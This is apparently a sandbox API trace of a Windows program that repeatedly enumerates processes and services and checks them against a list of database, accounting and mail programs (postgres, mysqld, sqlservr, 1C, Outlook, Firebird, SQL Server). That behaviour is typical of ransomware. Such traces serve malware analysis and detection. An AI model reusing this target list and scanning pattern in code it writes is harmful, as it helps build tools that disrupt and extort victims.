	[0246.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0246.782] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.782] lstrlenW (lpString="svchost.exe") returned 11
	[0246.782] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0246.782] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.782] lstrlenW (lpString="svchost.exe") returned 11
	[0246.782] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0246.782] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0246.783] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.783] lstrlenW (lpString="svchost.exe") returned 11
	[0246.783] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0246.783] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0246.783] lstrlenW (lpString="audiodg.exe") returned 11
	[0246.783] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1
	[0246.783] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1
	[0246.783] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1
	[0246.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1
	[0246.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1
	[0246.784] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1
	[0246.784] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.784] lstrlenW (lpString="svchost.exe") returned 11
	[0246.784] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1
	[0246.784] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1
	[0246.784] lstrlenW (lpString="userinit.exe") returned 12
	[0246.784] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1
	[0246.784] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1
	[0246.785] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1
	[0246.785] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1
	[0246.785] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0246.785] lstrlenW (lpString="explorer.exe") returned 12
	[0246.785] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1
	[0246.785] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1
	[0246.785] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1
	[0246.785] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1
	[0246.785] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1
	[0246.785] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x418, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0246.785] lstrlenW (lpString="dwm.exe") returned 7
	[0246.785] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x44c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.786] lstrlenW (lpString="svchost.exe") returned 11
	[0246.786] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x378, pcPriClassBase=8, dwFlags=0x0, szExeFile="swpesp.exe")) returned 1
	[0246.786] lstrlenW (lpString="swpesp.exe") returned 10
	[0246.786] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0246.786] lstrlenW (lpString="spoolsv.exe") returned 11
	[0246.786] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0246.786] lstrlenW (lpString="dllhost.exe") returned 11
	[0246.787] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0246.787] lstrlenW (lpString="taskhost.exe") returned 12
	[0246.787] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0246.787] lstrlenW (lpString="svchost.exe") returned 11
	[0246.787] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1
	[0246.787] lstrlenW (lpString="reader_sl.exe") returned 13
	[0246.787] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0246.788] lstrlenW (lpString="cmd.exe") returned 7
	[0246.788] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x4d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1
	[0246.788] lstrlenW (lpString="AdobeARM.exe") returned 12
	[0246.788] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0246.788] lstrlenW (lpString="conhost.exe") returned 11
	[0246.788] Process32NextW (in: hSnapshot=0x134, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0246.788] CloseHandle (hObject=0x134) returned 1
	[0246.789] Sleep (dwMilliseconds=0x1f4) 
	[0247.452] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4d9bc8
	[0247.590] EnumServicesStatusExW (in: hSCManager=0x4d9bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 0
	[0247.595] GetLastError () returned 0xea
	[0247.595] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x0, Size=0xa08) returned 0x511ed0
	[0247.595] EnumServicesStatusExW (in: hSCManager=0x4d9bc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x511ed0, cbBufSize=0xa08, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x511ed0, pcbBytesNeeded=0x218ff44, lpServicesReturned=0x218ff5c, lpResumeHandle=0x0) returned 1
	[0247.636] CloseServiceHandle (hSCObject=0x4d9bc8) returned 1
	[0247.640] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0247.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0247.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0247.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0247.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0247.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0247.640] lstrlenW (lpString="AudioSrv") returned 8
	[0247.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1
	[0247.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1
	[0247.640] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1
	[0247.640] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1
	[0247.640] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1
	[0247.640] lstrlenW (lpString="BFE") returned 3
	[0247.640] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0247.640] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0247.640] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0247.640] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0247.641] lstrlenW (lpString="CscService") returned 10
	[0247.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1
	[0247.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1
	[0247.641] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1
	[0247.641] lstrlenW (lpString="DcomLaunch") returned 10
	[0247.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0247.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0247.641] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0247.641] lstrlenW (lpString="Dhcp") returned 4
	[0247.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0247.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0247.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0247.641] lstrlenW (lpString="Dnscache") returned 8
	[0247.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0247.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0247.641] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0247.641] lstrlenW (lpString="eventlog") returned 8
	[0247.641] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1
	[0247.641] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1
	[0247.641] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1
	[0247.641] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1
	[0247.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1
	[0247.642] lstrlenW (lpString="EventSystem") returned 11
	[0247.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0247.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0247.642] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0247.642] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0247.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0247.642] lstrlenW (lpString="gpsvc") returned 5
	[0247.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0247.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0247.642] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0247.642] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0247.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0247.642] lstrlenW (lpString="lmhosts") returned 7
	[0247.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0247.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0247.642] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0247.642] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0247.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0247.642] lstrlenW (lpString="MMCSS") returned 5
	[0247.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1
	[0247.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1
	[0247.642] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1
	[0247.642] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1
	[0247.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1
	[0247.642] lstrlenW (lpString="nsi") returned 3
	[0247.642] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0247.642] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0247.642] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0247.642] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0247.642] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0247.643] lstrlenW (lpString="PlugPlay") returned 8
	[0247.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0247.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0247.643] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0247.643] lstrlenW (lpString="Power") returned 5
	[0247.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0247.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0247.643] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0247.643] lstrlenW (lpString="ProfSvc") returned 7
	[0247.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0247.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0247.643] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0247.643] lstrlenW (lpString="RpcEptMapper") returned 12
	[0247.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0247.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0247.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0247.643] lstrlenW (lpString="RpcSs") returned 5
	[0247.643] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0247.643] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0247.643] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0247.643] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0247.643] lstrlenW (lpString="SamSs") returned 5
	[0247.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0247.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0247.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0247.644] lstrlenW (lpString="Schedule") returned 8
	[0247.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0247.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0247.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0247.644] lstrlenW (lpString="SENS") returned 4
	[0247.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0247.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0247.644] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0247.644] lstrlenW (lpString="ShellHWDetection") returned 16
	[0247.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0247.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0247.644] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0247.644] lstrlenW (lpString="Spooler") returned 7
	[0247.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0247.644] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0247.644] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0247.644] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0247.644] lstrlenW (lpString="Themes") returned 6
	[0247.644] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0247.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0247.645] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0247.645] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0247.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0247.645] lstrlenW (lpString="UxSms") returned 5
	[0247.645] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1
	[0247.645] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1
	[0247.645] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1
	[0247.645] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1
	[0247.645] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1
	[0247.645] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x511ed0 | out: hHeap=0x4a0000) returned 1
	[0247.645] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x138
	[0247.646] Process32FirstW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0247.646] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0247.647] lstrlenW (lpString="System") returned 6
	[0247.647] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1
	[0247.647] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1
	[0247.647] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1
	[0247.647] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1
	[0247.647] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1
	[0247.647] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1
	[0247.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1
	[0247.647] Process32NextW (in: hSnapshot=0x138, lppe=0x218fd34 | out: lppe=0x218fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0247.647] lstrlenW (lpString="smss.exe") returned 8
	[0247.647] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1
	[0247.647] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1
	[0247.647] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1
	[0247.647] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1
	[0247.647] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1
	[0247.647] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1
	[0247.647] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1
